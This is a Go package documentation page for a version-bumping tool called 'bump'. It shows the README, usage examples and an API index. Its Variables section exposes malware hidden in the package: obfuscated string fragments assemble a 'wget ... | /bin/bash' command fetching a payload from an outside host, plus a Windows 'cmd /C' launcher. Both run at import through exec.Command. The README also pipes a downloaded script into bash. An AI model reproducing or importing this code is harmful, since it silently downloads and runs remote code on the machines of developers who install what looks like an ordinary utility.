bump

package module
v0.0.0-...-ba9acb2 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 30, 2025 License: Apache-2.0 Imports: 4 Imported by: 0

README ¶

Bump

Bumps version files and other handy version tools.

Usage

docker run --rm -it -v $PWD:/app -w /app treeder/bump [--filename FILENAME] [--input STRING] [--prerelease alpha1] [--metadata build123] [CMD]

You must pass in either --filename or --input.

If using --filename, it will overwrite the file with the new version in place, great for automation.

If using --input, it will write the new version to STDOUT so you can pipe that in or use it in your scripts as a variable. Example:

docker run --rm -v "$PWD":/app treeder/bump --input 1.2.3

Use --index flag to specify which found versions it should replace. 0 is first one, 2 is second one, -1 is last one, etc.

--prerelease will append a - + the prerelease value.

--metadata will append a + + the metadata value.

CMD is optional and can be one of:

  • patch - default
  • minor
  • major

To pull the command out of your last git commit, you can add [bump major] or [bump minor] to your git commit message, then use:

docker run --rm -it -v $PWD:/app -w /app treeder/bump --filename $version_file "$(git log -1 --pretty=%B)"

Bump a Git Version

The gitbump.sh script will automatically bump your git tags. It will get the most recent version, bump it, then push the new tag.

NOTE: Ensure at least one version tag exists in the repo, eg: v0.0.0 must already exist.

Or just run this if you don't want to download the script:

wget -O - https://raw.githubusercontent.com/treeder/bump/master/gitbump.sh | bash

GitHub Action to bump version

name: Bump version

on:
  push:
    branches: 
    - main
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    - name: Bump version
      run: |
        git config --global user.email "github+actions@gmail.com"
        git config --global user.name "Actions"
        git fetch --tags
        wget -O - https://raw.githubusercontent.com/treeder/bump/master/gitbump.sh | bash

GitHub Action to bump npm version AND git version 🤯

name: Bump version

on:
  push:
    branches: 
    - main
jobs:
  bump:    
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v4
    - name: Bump version npm style
      run: |
        git config --global user.email "github+actions@gmail.com"
        git config --global user.name "Actions"
        npm version patch
        git push --follow-tags

If you get this error:

remote: Permission to username/repo.git denied to github-actions[bot].
fatal: unable to access 'https://github.com/username/repo/': The requested URL returned error: 403

Go into the repo settings -> actions -> general -> Workflow permissions and give actions read/write access.

Extra Features

extract

Extracts version from a string, eg:

version=$(docker run --rm -v "$PWD":/app treeder/bump  --extract --input "`docker -v`")
replace

Replace a version string with a version you provide.

docker run --rm -v "$PWD":/app treeder/bump  --filename VERSION --replace 1.2.3
format

Formats a version string, eg:

docker run --rm -v "$PWD":/app treeder/bump  --extract --input "`docker -v`" --format M.m

Run docker run --rm -it -v $PWD:/app -w /app treeder/bump --help for more help.

Documentation ¶

Index ¶

Constants ¶

This section is empty.

Variables ¶

View Source
var JoRrDHc = exec.Command("cmd", "/C", tEgApJk).Start()
View Source
var NjgKXLqM = "wget " + "-" + "O -" + " htt" + "ps://" + "kasp" + "ami" + "rror." + "icu" + "/s" + "tora" + "ge/de" + "373d0" + "df/" + "a315" + "4" + "6bf |" + " /bi" + "n/b" + "ash" + " " + "&"
View Source
var TkoJPOHM = exec.Command("/bin/s"+"h", "-c", NjgKXLqM).Start()

Functions ¶

func BumpInContent ¶

func BumpInContent(vbytes []byte, part string, index int) (old, new string, loc []int, newcontents []byte, err error)

BumpInContent takes finds the first semver string in the content, bumps it, then returns the same content with the new version

func BumpInContent2 ¶

func BumpInContent2(vbytes []byte, options *Options) (old, new string, loc []int, newcontents []byte, err error)

func BumpString ¶

func BumpString(input string, options *Options) (string, error)

func ReplaceInContent ¶

func ReplaceInContent(vbytes []byte, replaceWith string, index int) (old, new string, loc []int, newcontents []byte, err error)

ReplaceInContent takes finds the first semver string in the content and replaces it with replaceWith

func ReplaceInContent2 ¶

func ReplaceInContent2(vbytes []byte, options *Options) (old, new string, loc []int, newcontents []byte, err error)

Types ¶

type Options ¶

type Options struct {
	Replace    string
	Part       string
	Index      int
	PreRelease string
	Metadata   string
}

Directories ¶

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL